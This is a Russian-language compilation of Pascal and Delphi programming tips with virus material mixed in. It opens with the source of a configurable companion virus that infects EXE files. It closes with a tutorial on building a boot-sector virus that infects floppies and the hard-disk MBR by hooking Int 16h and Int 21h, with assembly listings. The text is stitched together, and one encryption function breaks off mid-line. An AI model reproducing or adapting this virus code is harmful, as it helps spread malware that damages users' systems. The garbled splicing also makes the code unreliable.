if doserror<>0 then exit;
until (sr_dir.name<>'..')and(sr_dir.name<>'.');
repeat
if doserror=0 then
begin
chdir(sr_dir.name);
if doserror<>0 then exit;
findfirst('*.exe',$3f,sr_file);
repeat
if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));
findnext(sr_file);
until (doserror<>0)or(ioresult<>0);
if (sr_dir.name<>'..')and(sr_dir.name<>'.') then chdir('..');
end;
findnext(sr_dir);
if doserror<>0 then exit;
until (doserror<>0)or(ioresult<>0);
end;
begin
{***********
************
************
************
***********}
NAME:='Имя_вируса';
AUTH:='Имя_автора вируса';
{Заражать PE-EXEфайлы? pe_t - да, pe_n - нет}
PE_INF:='pe_t';
{Заражать NE-EXEфайлы? ne_t - да, ne_n - нет}
NE_INF:='ne_t';
{Сколько файлов заразить максимум за один раз?}
INFMAX:=3;
{Каким цветом выдавать сообщение об ошибке?
0 -черный,
1 - синий,
2 - зеленый,
4 - красный,
номер цвета + 16 - мигать каким - то цветом}
COL:=4+16;
{***********
************
************
************
***********}
infcount:=0;
getdir(0,sdir);
for i:=1 to paramcount do
begin
params:=params+' '+paramstr(i);
end;
fsplit(paramstr(0),d,n,e);
assign(f,paramstr(0));
rename(f,d+n+'.tmp');
{$I-}
assign(f,d+n+'.dat');
rename(f,d+n+'.exe');
if ioresult<>0 then
begin
assign(f,d+n+'.tmp');
rename(f,paramstr(0));
textcolor(col);
writeln('Virus ',name);
writeln('Generated by ',auth);
writeln;
writeln('ERROR:Could not find DATA file.');
textcolor(7);
chdir(sdir);
halt(0);
end;
SwapVectors;
Exec(getenv('comspec'), ' /c '+paramstr(0)+' '+params);
SwapVectors;
assign(f,d+n+'.exe');
rename(f,d+n+'.dat');
assign(f,d+n+'.tmp');
rename(f,d+n+'.exe');
{CODE}
{Проверка системы: если есть c:\vir.dat тогда выходим и не заражаем}
{$I-}
assign(test,'c:\vir.dat');
reset(test);
if ioresult=0 then halt(0);
inf_dir;
chdir(sdir);
chdir('..');
inf_dir;
chdir(sdir);
end.
Разберемся со структурой данного вируса. Этот вирус является вирусом-спутником (companion). Вначале он выполняет
программу, которую заразил, а потом размножается в зависимости от опций. Он может заразить PE-EXE файлы
(В основном Win32), NE-EXE (Win 3.1, Win 3.11) и обыкновенные EXE для DOS. Просмотрев внимательно его алгоритм,
можно создать для него антивирус. Просто надо удалить EXE-файл и на его место поставить файл с таким же именем,
но расширением DAT из текущей директории. Вирусы - спутники не легко обнаружить, так как они не используют хитрые
процедуры заражения.
Данная функция (AddDisturbToText) представляет собой подготовительную операцию перед шифрацией текста любым
алгоритмом. Функция добавляет в текст случайное количество непечатных символов, располагая их хаотически.
Таким образом подготовленный текст, после шифрации одним и тем-же ключом, не зависимо от алгоритма, каждый
раз будет выглядеть по разному и количественно и качественно, что практически сводит на нет любой статистический
анализ. При расшифровке, непечатные символы элементарно вычищаются функцией RemoveDisturbFromText.
const
NPCS:set of char = [ #0..#8, #11, #12, #14..#31, #127];
// Добавление в текст непечатных символов
function AddDisturbToText(Source:String):String;
var n, c:integer;
begin
Randomize;
Result:=Source;
n:=(Length(Source)*2)+Random(Length(Source));
while Length(Result)К заголовку
1)
len:= Length(Edit.Text);
for i:= 0 to StringList.Count-1 do
if copy(StringList.Strings[i], 1, len)='аб' then
листбокс.Add(StringList.Strings[i]);
+++++++++++++++++++++++++++++++++++++++++++++++
2)
function FindFirst(List:TstringList; const Mask: String): integer;
var
cr, l, len, r, t: integer;
begin
if Mask = '' then begin
Result := -1;
Exit;
end;
len := length(Mask);
l := 0;
r := List.Count - 1;
t := (l + r) div 2;
while l <= r do begin
cr := AnsiCompareText(Copy(List[t], 1, len), Mask);
if cr = 0 then begin
result := t;
exit;
end else if cr < 0 then
l := t + 1
else
r := t - 1;
t := (l + r) div 2;
end;
result := -1;
end;
+++++++++++++++++++++++++++++++++++++++++
3)
Примерно так:
...
StringList1.LoadFromFile(...);
...
procedure TForm1.Edit1Change(...);
var i,n:integer;
begin
ListBox1.Clear;
if StringList1.Count>0 then
for i:=0 to StringList1.Count-1 do
begin
if Copy(StringList1.Strings[i],1,Length(Edit1.Text))=Edit1.Text then
ListBox1.Items.Add(StringList1.Strings[i]);
end;
end;
...
procedure TForm1.Edit1Change(Sender: TObject);
var S : string;
begin
S:= pchar(edit1.text);
with ListBox1 do
ItemIndex := Perform(LB_SELECTSTRING, ItemIndex, LongInt(S));
end;
Иногда бывает полезно знать какими DLL-ками пользуется Ваше приложение. Давайте посмотрим как это можно сделать в Win NT/2000.
Пример функции
unit ModuleProcs;
interface
uses Windows, Classes;
type
TModuleArray = array[0..400] of HMODULE;
TModuleOption = (moRemovePath, moIncludeHandle);
TModuleOptions = set of TModuleOption;
function GetLoadedDLLList(sl: TStrings;
Options: TModuleOptions = [moRemovePath]): Boolean;
implementation
uses SysUtils;
function GetLoadedDLLList(sl: TStrings;
Options: TModuleOptions = [moRemovePath]): Boolean;
type
EnumModType = function (hProcess: Longint; lphModule: TModuleArray;
cb: DWord; var lpcbNeeded: Longint): Boolean; stdcall;
var
psapilib: HModule;
EnumProc: Pointer;
ma: TModuleArray;
I: Longint;
FileName: array[0..MAX_PATH] of Char;
S: string;
begin
Result := False;
(* Данная функция запускается только для Widnows NT *)
if Win32Platform <> VER_PLATFORM_WIN32_NT then
Exit;
psapilib := LoadLibrary('psapi.dll');
if psapilib = 0 then
Exit;
try
EnumProc := GetProcAddress(psapilib, 'EnumProcessModules');
if not Assigned(EnumProc) then
Exit;
sl.Clear;
FillChar(ma, SizeOF(TModuleArray), 0);
if EnumModType(EnumProc)(GetCurrentProcess, ma, 400, I) then
begin
for I := 0 to 400 do
if ma[i] <> 0 then
begin
FillChar(FileName, MAX_PATH, 0);
GetModuleFileName(ma[i], FileName, MAX_PATH);
if CompareText(ExtractFileExt(FileName), '.dll') = 0 then
begin
S := FileName;
if moRemovePath in Options then
S := ExtractFileName(S);
if moIncludeHandle in Options then
sl.AddObject(S, TObject(ma[I]))
else
sl.Add(S);
end;
end;
end;
Result := True;
finally
FreeLibrary(psapilib);
end;
end;
end.
Для вызова приведённой функции надо сделать следующее:
Добавить listbox на форму (Listbox1)
Добавить кнопку на форму (Button1)
Обработчик события OnClick для кнопки будет выглядеть следующим образом
procedure TForm1.Button1Click(Sender: TObject);
begin
GetLoadedDLLList(ListBox1.Items, [moIncludeHandle, moRemovePath]);
end;
D меню File | New...
выбрать Console Application.
Записная книжка - это окно с многострочным полем ввода,
которое легко вызывается и которое сохраняет текст, вводимый пользователем.
То есть, при открытии текст считывается из файла, а при закрытии сохраняется в файл.
Поскольку поле ввода - окно, его можно создать без каких-либо родительских окон.
В VCL аналогом этого было бы создание Memo вне формы.
Чтобы объяснить Windows, что это поле ввода,
в качестве имени класса окна нужно указать 'EDIT'. ES_MULTILINE делает его
многострочным.
Когда записная книжка закрывается, текст из нее нужно сохранить.
Но сообщения WM_CLOSE, WM_DESTROY и другие попадают не ко мне,
а в стандартную оконную процедуру поля ввода.
Поэтому стандартную процедуру поля ввода нужно заменить на свою.
А чтобы сохранить функциональность поля ввода,
все сообщения кроме WM_DESTROY пересылаются в старую оконную процедуру.
В прошлом выпуске программа отслеживала координаты курсора и,
если мышь была в левом верхнем углу экрана, запускала ScreenSaver.
Чтобы при следующей проверке координат курсора не запускать ScreenSaver повторно,
программа проверяла, какое окно сейчас активно.
Дело в том, что стандартные хранители экрана в некоторых версиях Windows
всегда создают окна с названием класса 'WindowsScreenSaverClass'.
Но, поскольку работает это не всюду, я решил убрать эту функцию.
program Project1;
uses
Windows,
ShellAPI,
Messages;
const
ClassName = 'MyResident'; // Имя класса
WM_NOTIFYTRAYICON = WM_USER + 1; { Это сообщение будет
генерироваться при событиях с tray }
var
menu: hMenu; // Всплывающее меню
mywnd: hWnd; // Окно программы
memo: hWnd = 0; // Окно записной книжки
OldMemoProc: Pointer; // Стандартная оконная процедура Edit
// Оконная процедура записной книжки:
function MemoWndProc(wnd: hWnd; msg, wParam,
lParam: longint): longint; stdcall;
var
s: PChar;
len: integer;
F: File;
begin
case msg of
WM_DESTROY: begin // Окно закрывается
// Сохранение текста:
len := GetWindowTextLength(memo);
GetMem(s, len + 1);
GetWindowText(memo, s, len + 1);
AssignFile(F, 'memo.txt');
Rewrite(F, 1);
BlockWrite(F, s^, len);
CloseFile(F);
FreeMem(s);
result := 0;
memo := 0;
end;
WM_KEYUP: begin // Нажата клавиша
if wparam = VK_ESCAPE // Нажат Escape
then result := SendMessage(memo, WM_CLOSE, 0, 0)
else result := DefWindowProc(wnd, msg, wparam, lparam);
end;
// Иначе - вызвать старую оконную процедуру
else result := CallWindowProc(OldMemoProc, wnd, msg, wparam, lparam);
end;
end;
// Создание окна записной книжки:
procedure CreateMemo;
var
len: cardinal;
F: hFile;
s: PChar;
ReadBytes: cardinal;
begin
// Если записная книжка уже открыта - выход из процедуры:
if GetForegroundWindow = memo then Exit;
// Создание окна:
memo := CreateWindowEx(WS_EX_PALETTEWINDOW, 'EDIT', nil,
WS_POPUP or WS_SIZEBOX or WS_VSCROLL or
ES_MULTILINE or ES_AUTOVSCROLL,
GetSystemMetrics(SM_CXFULLSCREEN) div 2 - 200,
GetSystemMetrics(SM_CYFULLSCREEN) div 2 - 200,
400, 400, 0, 0, hinstance, nil);
// Установка шрифта:
SendMessage(memo, WM_SETFONT, GetStockObject(SYSTEM_FIXED_FONT), 0);
// Сохранение старой и установка новой оконной процедуры:
OldMemoProc := Pointer(GetWindowLong(memo, GWL_WNDPROC));
SetWindowLong(memo, GWL_WNDPROC, longint(@MemoWndProc));
{ Открытие файла (здесь удобнее воспользоваться функциями WinAPI): }
try
F := CreateFile('memo.txt', GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if F = INVALID_HANDLE_VALUE then Exit;
len := GetFileSize(F, nil);
if len = $FFFFFFFF then Exit;
GetMem(s, len + 1);
ReadFile(F, s^, len, ReadBytes, nil);
SetWindowText(memo, s);
CloseHandle(F);
FreeMem(s);
except SetWindowText(memo, 'Error') end;
// Показать окно:
ShowWindow(memo, SW_SHOW);
UpdateWindow(memo);
end;
// Главная оконная процедура:
function MyWndProc(wnd: hWnd; msg, wParam,
lParam: longint): longint; stdcall;
var
p: TPoint;
tray: TNotifyIconData;
ProgmanWnd: hWnd;
begin
case msg of
WM_NOTIFYTRAYICON: begin // Событие tray
// Если нажата правая кнопка, показать меню:
if lparam = WM_RBUTTONUP then begin
SetForegroundWindow(mywnd);
GetCursorPos(p);
TrackPopupMenu(menu, TPM_LEFTALIGN, p.x, p.x, 0, wnd, nil);
end;
result := 0;
end;
WM_COMMAND: begin // Выбран пункт меню
{ В зависимости от выбранного пункта меню открывается
записная книжка, запускается ScreenSaver, "усыпляется"
компьютер или закрывается программа: }
case loword(wparam) of
0: CreateMemo;
1: SendMessage(mywnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
2: SetSystemPowerState(true, true);
4: SendMessage(mywnd, WM_CLOSE, 0, 0);
end;
result := 0;
end;
WM_HOTKEY: begin // Нажата горячая клавиша
case loword(lparam) of
// Нажата клавиша Pause:
0: SendMessage(wnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
// Нажаты клавиши Alt+Pause:
MOD_ALT: begin
ProgmanWnd := FindWindow('Progman', 'Program Manager');
if ProgmanWnd <> 0
then SendMessage(ProgmanWnd, WM_CLOSE, 0, 0);
end;
// Нажаты клавиши Alt+Shift+Pause:
MOD_ALT or MOD_SHIFT: SetSystemPowerState(true, true);
// Иначе:
else CreateMemo;
end;
result := 0;
end;
WM_ACTIVATEAPP: begin // Изменение активности приложения
{ Если приложение потеряло активность - закрыть (если нужно)
записную книжку: }
if (memo <> 0) and (wparam = 0)
then SendMessage(memo, WM_CLOSE, 0, 0);
result := 0;
end;
WM_DESTROY: begin // Закрытие программы
// Удаление tray:
with tray do begin
cbSize := sizeof(TNotifyIconData);
wnd := mywnd;
uID := 0;
end;
Shell_NotifyIcon(NIM_DELETE, @tray);
PostQuitMessage(0);
result := 0;
end;
else result := DefWindowProc(wnd, msg, WParam, LParam);
end;
end;
// Создание окна:
function CreateMyWnd: hWnd;
var
wc: WndClass;
begin
// Регистрация класса:
wc.style := CS_HREDRAW or CS_VREDRAW;
wc.lpfnWndProc := @MyWndProc;
wc.cbClsExtra := 0;
wc.cbWndExtra := 0;
wc.hInstance := hInstance;
wc.hIcon := LoadIcon(hinstance, IDI_ASTERISK);
wc.hCursor := LoadCursor(hinstance, IDC_ARROW);
wc.hbrBackground := COLOR_INACTIVECAPTION;
wc.lpszMenuName := nil;
wc.lpszClassName := ClassName;
if RegisterClass(wc) = 0 then halt(0);
// Создание окна:
result := CreateWindowEx(WS_EX_APPWINDOW, ClassName,
'My Window', WS_POPUP, 100, 100, 200, 200, 0, 0, hInstance, nil);
if result = 0 then halt(0);
end;
// Создание Tray:
procedure CreateTray;
var
tray: TNotifyIconData;
begin
with tray do begin
cbSize := sizeof(TNotifyIconData);
wnd := mywnd;
uID := 0;
uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
uCallBackMessage := WM_NOTIFYTRAYICON;
hIcon := LoadIcon(0, IDI_ASTERISK);
szTip := ('My Resident');
end;
Shell_NotifyIcon(NIM_ADD, @tray);
end;
// Создание всплывающего меню:
function CreateMyMenu: hMenu;
begin
result := CreatePopupMenu;
if result = 0 then Exit;
AppendMenu(result, MF_STRING, 0, 'Memo');
AppendMenu(result, MF_STRING, 1, 'ScreenSaver');
AppendMenu(result, MF_STRING, 2, 'Sleep');
AppendMenu(result, MF_SEPARATOR, 3, 'Exit');
AppendMenu(result, MF_STRING, 4, 'Exit');
end;
var
msg: TMsg;
begin
mywnd := CreateMyWnd; // Создание окна
CreateTray; // Создание tray
menu := CreateMyMenu; // Создание меню
// Установка низкого приоритета:
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_IDLE);
// Регистрация "горячих клавиш":
RegisterHotKey(mywnd, 0, 0, VK_PAUSE);
RegisterHotKey(mywnd, 1, MOD_ALT, VK_PAUSE);
RegisterHotKey(mywnd, 2, MOD_SHIFT, VK_PAUSE);
RegisterHotKey(mywnd, 3, MOD_ALT or MOD_SHIFT, VK_PAUSE);
// Распределение сообщений:
while (GetMessage(msg, 0, 0, 0)) do begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
// "Уничтожение" горячих клавиш:
UnregisterHotKey(mywnd, 0);
UnregisterHotKey(mywnd, 1);
UnregisterHotKey(mywnd, 2);
end.
function Shivrovka(str:string):string;
var i:integer;
s:string;
c:char;
begin
s:='';
if Length(str)>0 then
for i:=1 to Length(str) do
begin
c:=str[i];
s:=s+Chr(256-Ord(c));
end;
result:=s;
end;
Это на конкурс "Самый медленный код"? Приз зрительских симпатий Вам обеспечен 8)
%0d - для символа перевод строки
%20 - для пробела
Пример:
mailto:Email@server.ru?subject=Это%20тема&
body=это%20текст%20письма%0dЭто%20другая%20строка
а #10 и #13 не пойдут
{ Строем регион по "скину" }
function BitmapToRegion(bmp: TBitmap) : dword; stdcall;
var
ix,iy : integer; // переменные циклов
tc : TColor; // модификатор цвета прозрачности
b1 : boolean; // идёт просмотр непрозрачных пикселей
c1 : cardinal; // вспомогательный регион
i1 : integer; // первая позиция реального пикселя
begin
Result := 0;
i1 := 0;
// устанавливаем модификатор прозрачности
tc := bmp.transparentColor and $FFFFFF;
with bmp.canvas do
// сканируем все линии
for iy := 0 to bmp.height - 1 do
begin
b1 := False;
// сканируем пиксели в линии
for ix:=0 to bmp.Width - 1 do
// если последний или первый пиксель
if (pixels[ix, iy] and $FFFFFF <> tc) <> b1 then begin
// последний, добавляем регион
if b1 then begin
c1:=CreateRectRgn(i1,iy,ix,iy+1);
if result<>0 then
begin
// это не первый регион
CombineRgn(Result, Result, c1, RGN_OR);
DeleteObject(c1);
// создаём первый регион
end
else
Result := c1;
end else i1 := ix;
// меняем режим просмотра пикселей
b1:=not b1;
end;
// последний реальный пиксель?
if b1 then begin
c1:=CreateRectRgn(i1, iy, bmp.width-1, iy+1);
if (Result <> 0) then
begin
CombineRgn(Result, Result, c1, RGN_OR);
DeleteObject(c1);
end
else
Result := c1;
end;
end;
Application.ProcessMessages();
{ канец типа }
end;
А вызывать его из программы надо так :
procedure TDiscKeeper.FormShow(Sender: TObject);
var
sapppath : string;
Region : HRGN;
P: TBitmap;
begin
sapppath := ExtractFilePath(Application.ExeName);
if not FileExists(sapppath+'Skins.bmp') then
begin
MessageDlg('Продолжение загрузки невозможно - отсутствует файл "Skins.bmp"',mtError,mbOKCancel,0);
halt;
end else
begin
P := TBitmap.Create;
try
P.LoadFromFile(sapppath+'Skins.bmp');
DiscKeeper.Width := p.Width;
DiscKeeper.Height := p.Height;
Region := BitmapToRegion(p);
SetWindowRgn(DiscKeeper.Handle, Region, True);
DeleteObject(Region);
finally
P.Free;
end;
end;
end;
Пишем в Private формы(неглавной);
Procedure WMSysCommand(var message: TWMSysCommand); message WM_SysCommand;
Пишем в тексте программы:
Procedure TF_Shop.WMSysCommand(var message: TWMSysCommand);
begin
If message.CmdType = SC_MINIMIZE then Application.Minimize
Else Inherited;
End;
Теперь при сворачивании формы сворачиваеться все приложение.
Эта процедура сортирует заданный StringGrid по заданному столбцу:
procedure SortStringGrid(var AGrid: TStringGrid; ThatCol: Integer);
const
TheSeparator = '@';
var
CountItem, I, J, K, ThePosition, count: integer;
SortList: TStringList;
MyString, TempString: string;
begin
count:=1;
CountItem := AGrid.RowCount;
SortList := TStringList.Create;
SortList.Sorted := False;
try
begin
for I := 1 to (CountItem - 1) do
SortList.Add(AGrid.Rows[I].Strings[ThatCol] + TheSeparator +
AGrid.Rows[I].Text);
SortList.Sort;
for K := 1 to SortList.Count do
begin
//Take the String of the line (K - 1)
MyString := SortList.Strings[(K - 1)];
//Find the position of the Separator in the String
ThePosition := Pos(TheSeparator, MyString);
TempString := '';
{Eliminate the Text of the column on which we have sorted the StringGrid}
TempString := Copy(MyString, (ThePosition + 1), Length(MyString));
SortList.Strings[(K - 1)] := '';
SortList.Strings[(K - 1)] := TempString;
end;
// Refill the StringGrid
for J := 1 to (CountItem - 1) do
begin
AGrid.Rows[J].Text := SortList.Strings[(J - 1)];
AGrid.Cells[0, J] := IntToStr(count);
Inc(count, 1);
end;
end;
finally
SortList.Free;
end;
end;
function deletesubstr(substr,mainstr: string):string;
begin
while pos(substr,mainstr)<>0 do
delete(mainstr,pos(substr,mainstr),length(substr));
result:=mainstr;
end;
вот так попробуй
++++++++++++++++++++++++++++++++++++++++++++++++++++++
function DeleteChars(S: string; Chars: set of char): string;
var
i: integer;
begin
Result := S;
for i := Length(S) downto 1 do
if Result[i] in Chars then
Delete(Result, i, 1)
end;
========================
Edit1.Text := DeleteChars(S, ['\', '/']);
В компоненте TMemo предусмотрена функция отмены последней правки (Undo). Ее можно вызвать следующим образом:
Memo1.Perform(EM_UNDO,0,0);
Узнать о том, возможна ли отмена (т.е. есть ли что отменять) можно следующим образом:
UndoEnabled:=(Memo1.Perform(EM_CAUNDO,0,0)<>0);
Делай так -
через определённые промежутки времени (раз в сек., например) проверяй это условие:
if (GetTopWindow (0) <> Handle) then SetWindowPos(Handle, {HWND_TOPMOST}0, X, Y,
Width, Height, {SWP_NoMove or SWP_NoSize or SWP_ShowWindow}0);//Handle - хэндл твоего окна.
Флаги нужные сам поставь, висит 100% над всеми окнами, кроме окна DierctX.
Как сделать DLL
library lib_name;
uses classes, sysutils;
{$r *.res}
begin
function b(a: string)
begin
end;
exports b;
end.
// а из программы ее можно вызывать так:
function b(a: string); external 'lib_name.dll';
--------------------------------------------------
Как сделать DLL и потом из него каpтинки гpузить
Этап первый: создание DLL
Создаёшь тексотвый файл с расширением .RC и записываешь в него строки такого вида:
----------
<название картинки1> BITMAP <название файла1>
. . .
<название картинкиN> BITMAP <название файлаN>
-------------
запускаешь программу brcc и в качестве параметра --- твой файл, RC-файл и картинки должны храниться в одном каталоге
после компиляции у тебя будет один большой RES-файл
Затем у себя в программе пишешь:
AModule: THandle;
AModule := LoadLibrary(...); <--- параметры точно не помню, а в хелп лень лезть, посмотри сам
Bitmap.LoadFromResourceName(AModule, <название картинки1>);
FreeLibrary(AModule); <--- это уже в самом конце
1.Алгоритм работы вируса принципиально изменен.Теперь вирус работает при запуске из - под WINDOWS различных DOS -
приложений ( VC, NC и т.п. ). Предыдущая версия такой возможностью не обладала.
2.Исключен материал по переделке вируса в STEALTH.
3.Изменены кое - какие мелочи
4.Желающие ознакомиться с предыдущей версией статьи могут воспользоваться моей книжкой, ссылка на которую находится
конце документа.
1.1 Краткие сведения о начальной загрузке персонального компьютера
Для начала следует сказать несколько слов о том, как происходит начальная загрузка ЭВМ. После проверки аппаратной части
компьютера и заполнения таблицы векторов прерываний BIOS пытается прочитать первый сектор нулевой дорожки нулевой стороны
диска в дисководе " A ". Этот сектор помещается в память по адресу 0000:7C00h, после чего на указанный адрес передается
управление. В прочитанном секторе содержится программа начальной загрузки (BOOT - запись) и некоторые другие сведения,
необходимые для доступа к данным на диске. Программа начальной загрузки проверяет, является - ли диск системным.
Если это так, то загрузка операционной системы с диска продолжается, а если нет, то на экран выводится сообщение :
Non system disk or disk error
Replace and press any key when ready .
после чего система ожидает действий оператора. Если же диск в " A " дисководе отсутствует, то программа BIOS
считывает первый сектор нулевой дорожки нулевой стороны первого жесткого диска. Он также помещается в память
по адресу 0000:7C00h, после чего по указанному адресу передается управление. В прочитанном секторе на жестком
диске записана так называемая MBR (главная загрузочная запись). MBR является программой, которая определяет
активный раздел жесткого диска, считывает загрузочную запись (BOOT - запись) этого раздела в оперативную память
и отдает ей управление. Дальше все происходит, как при загрузке системы с гибкого диска. Как видим, процесс
загрузки с винчестера является как бы двухступенчатым. Если же программа MBR не нашла активный раздел, то
выдается сообщение об отсутствии загрузочных устройств, и система останавливается. В некоторых старых
машинах при невозможности запустить операционную систему загружается встроенный язык БЕЙСИК, записанный
в микросхемах ПЗУ.
1.2 Понятие о загрузочных вирусах
Загрузочными называют вирусы, способные заражать загрузочные сектора гибких и жестких дисков и получающие
управление при попытке "запустить " операционную систему с зараженного диска. Можно выделить следующие
основные разновидности вирусных программ указанного типа :
1. Заражающие BOOT - сектора гибких дисков
2. Заражающие BOOT - запись активного раздела жесткого диска и BOOT - сектора гибких дисков
3. Заражающие MBR (Master Boot Record) жесткого диска и BOOT - сектора гибких дисков
Отметим, что заражение BOOT - секторов дискет является обязательным, иначе вирус просто не сможет распространяться .
Кроме того, почти все загрузочные вирусы являются резидентными, что объясняется спецификой их работы.
1.3 Анализ традиционного алгоритма работы загрузочного вируса
Как вы, вероятно, знаете, почти все загрузочные вирусы перехватывают Int 13h и заражают гибкие диски при
попытке чтения или записи их содержимого через это прерывание. Но, оказывается, такой метод имеет один
серьезный недостаток: при работе под WINDOWS вирус отказывается инфицировать загрузочные сектора дискет.
С целью выяснить причины этого явления автор провел множество экспериментов, которые дали следующий
результат:
При чтении или записи гибких дисков WINDOWS не вызывает Int 13h, а взаимодействует непосредственно с
контроллером дисковода, работая с его портами ввода - вывода.
Ясно, что при таком методе работы наш вирус никогда не получит управления, а будет просто присутствовать
в памяти. Таким образом, с помощью старых методов заставить BOOT - вирус нормально работать под WINDOWS,
скорее всего, не удастся. Необходим совершенно новый подход. Но об этом в следующем пункте.
**?
Следует заметить,что при работе с жестким диском WINDOWS все же вызывает Int 13h, что следует из проведенных
автором экспериментов.
**?
1.4 Разрабатываем новый алгоритм активизации
Легче всего сказать, что подход должен быть новым. Труднее предложить что - то по существу. Были придуманы
несколько методик, но все они не дали положительного результата. И тут автор неожиданно получил очень
своеобразное предложение - вместо Int 13h использовать для активизации вируса Int 21h. В самом деле, почему
бы нам не перехватить Int 21h, и не попробовать проследить за сменой текущего диска (функция 0Eh).И как только
активным станет дисковод " A " или " B ", заразить диск в этом дисководе!!! Просто и со вкусом ( идея Danny
Dio, за что ему - благодарность ). А мы продолжаем.
1.5 О перехвате Int 21h программой, загружаемой из Master Boot Record. Дело за малым - осталось перехватить
Int 21h,и задача решена. Но выяснилось, что это не так просто. Естественно было бы поступить так :
1. Первым делом установить вектор Int 1Ch или Int 08h (оба - таймер)
на собственный обработчик.
2. Этот обработчик следит за вектором Int 21h, и как только последний
изменяется - перехватывает Int 21h.
3. Далее обработчик Int 1Ch (Int 08h) " обезвреживает " себя в памяти,
например, командой "IRET", чтобы машина не зависала.
Так и было сделано, после чего началось самое интересное. Обработчик Int 21h исправно выполнялся несколько
секунд, после чего его бессовестно топили - то ли MSDOS.SYS, то ли COMMAND.COM - не важно. Чтобы избавиться
от этого эффекта, я придумал кучу способов - например, ждал не первого изменения вектора Int 21h, а третьего,
десятого и т.п. Как ни странно, ничего не получалось. Конечно, можно было бы поступить и так:
1. Отловить момент, когда OC уже загружена и начинают выполняться программы, записанные, например, в AUTOEXEC.BAT.
2. Перехватить Int 21h.
Проблема здесь в следующем: совершенно неясно, как именно засечь этот замечательный момент. Кроме того, такой
метод тоже не дает стопроцентной гарантии. Поэтому идею пришлось отклонить, а вместо нее предложить алгоритм,
который обсуждается в следующем пункте.
1.6 О применении вектора Int 16h
Как вы, наверное, знаете, прерывание Int 16h является программным и может вызываться, например, из программы
пользователя для выполнения некоторых действий, таких как чтение символа с клавиатуры, получение ее флагов и т.п.
При этом оно обладает одним замечательным свойством, а именно - пользовательский обработчик Int 16h не утапливается
WINDOWS при загрузке, и вызывается даже в WORDе, EXCELе и FARе. Так, в проведенном автором эксперименте, при
нажатии двух SHIFTов загрузочный сектор дискеты считывался и тут же записывался на место. Опытная программа
загружалась из MBR и работала в любых WINDOWS - приложениях. Этот факт решено было использовать для построения
"непотопляемой" процедуры обработки Int 21h. Итак, предлагаю такой алгоритм:
1. Установить вектор Int 16h на вирусный обработчик.
2. Этот обработчик постоянно вызывает вирусную процедуру Int 21h какой- нибудь экзотической собственной функцией,
типа AX = 0BABCh.
3. Если вирусная процедура обработки Int 21h активна, она должна " ответить " на этот вызов (пусть это будет AL = 98h).
Если ответа нет, обработчик Int 21h не установлен или утоплен, поэтому Int 21h следует перехватить.
Не совсем просто, но тоже со вкусом. Сами процедуры обработки Int 16h и Int 21h могут быть, например, такими: **?
Текст обработчика Int 16h:
new_16h: push ax ;Сохраним
push bx ;регистры
push dx ;в
push ds ;стеке
push es ;
pushf ;
;
mov ax,0babch ;Вызовем вирусный
int 21h ;обработчик
cmp al,98h ;Int 21h собст-
je cs:rrr_rrr ;венной функцией
;AX = 0babch.Если
;обработчик акти-
;вен, мы должны
;получить AL=98h,
;иначе Int 21h
;следует перехва-
;тить, чем мы и
;займемся:
push cs ;DS = CS
pop ds ;
;
cli ;Запретить преры-
;вания
mov ax,3521h ;Получим и сохра-
int 21h ;ним вектор
mov old_21h - 100h,bx ;Int 21h
mov old_21h_2 - 100h,es;
;
mov ax,2521h ;А теперь пере-
mov dx,to_new_21h ;ставим этот век-
int 21h ;тор на вирусный
;обработчик
sti ;Разрешить преры-
;вания
rrr_rrr: popf ;Восстановим
pop es ;из
pop ds ;стека
pop dx ;регистры
pop bx ;
pop ax ;
;
db 0eah ;И перейдем на
old_16h dw 0 ;системный обра-
old_16h_2 dw 0 ;ботчик Int 16h
**?
Текст обработчика Int 21h (он отслеживает смену оператором текущего диска. Если текущим становится диск "A" или "B",
обработчик заражает этот диск):
new_21h: pushf ;Этот участок
cmp ax,0babch ;обработчика
jne cs:else_func ;Int 21h отвечает
mov al,98h ;обработчику
popf ;Int 16h значени-
iret ;ем AL = 98h; это
;служит признаком
;активности виру-
;сной процедуры
;обработки
;Int 21h
;
else_func: popf ;Сохраним
push ax ;регистры
push bx ;в
push cx ;стеке
push dx ;
push di ;
push ds ;
push es ;
pushf ;
;
cmp ah,0eh ;Смена текущего
;диска ?
jne cs:restore_regs ;Нет - на выход
cmp dl,1 ;Да - текущим
;хотят сделать
;" A " или " B "
;дисковод ?
ja cs:restore_regs ;Нет - на выход
;Иначе - продол-
;жим :
Далее следует " заразная " часть процедуры обработки Int 21h:
; ...
; ...
; ...
; ...
; ...
restore_regs: ;Восстановим из
popf ;стека регистры
pop es ;
pop ds ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
;
db 0eah ;И перейдем на
old_21h dw 0 ;системный обра-
old_21h_2 dw 0 ;ботчик Int 21h
**?
Кстати, использовать в данном случае Int 09h вместо Int 16h нельзя. Дело в том, что при загрузке WINDOWS топит все
пользовательские программы, которые "зацеплены" за этот вектор. Топится даже великий и могучий KEYRUS.COM, не
говоря уже о наших вирусах.
1.7 Общий алгоритм работы вируса
Теперь настало время создать алгоритм работы нашего вируса, чем мы и займемся. Только сначала условимся, что наш
вирус будет заражать загрузочные сектора гибких дисков и MBR ( Master Boot Record ) первого жесткого диска.
Поэтому можно предложить следующий "план работы": Попав при начальной загрузке машины в память по адресу 0000:7C00h,
вирус должен выполнить такие действия:
1. Установить регистры SS и SP на собственный стек
2. " Отрезать " у системы несколько килобайтов памяти
3. Переписать свой код в полученную область памяти
4. Передать управление следующей секции своего кода, уже расположенной в конце основной памяти.
Эта секция, в свою очередь, должна :
1. Переопределить вектор прерывания Int 16h на вирусный код
2. Считать настоящий загрузочный сектор в память по адресу 0000:7C00h
3. Проверить, заражен - ли винчестер. Если нет, то заразить его MBR
4. Передать управление настоящему загрузочному сектору, находящемуся по адресу 0000:7C00h
Далее выполняется загрузка операционной системы. Вирусный обработчик Int 16h, как было сказано выше, следит за
состоянием обработчика Int 21h, и перехватывает это прерывание, если по какой - либо причине вирусная процедура
обработки Int 21h не активна. Алгоритм его работы подробно описан в предыдущем пункте. Как вы уже знаете," заразные "
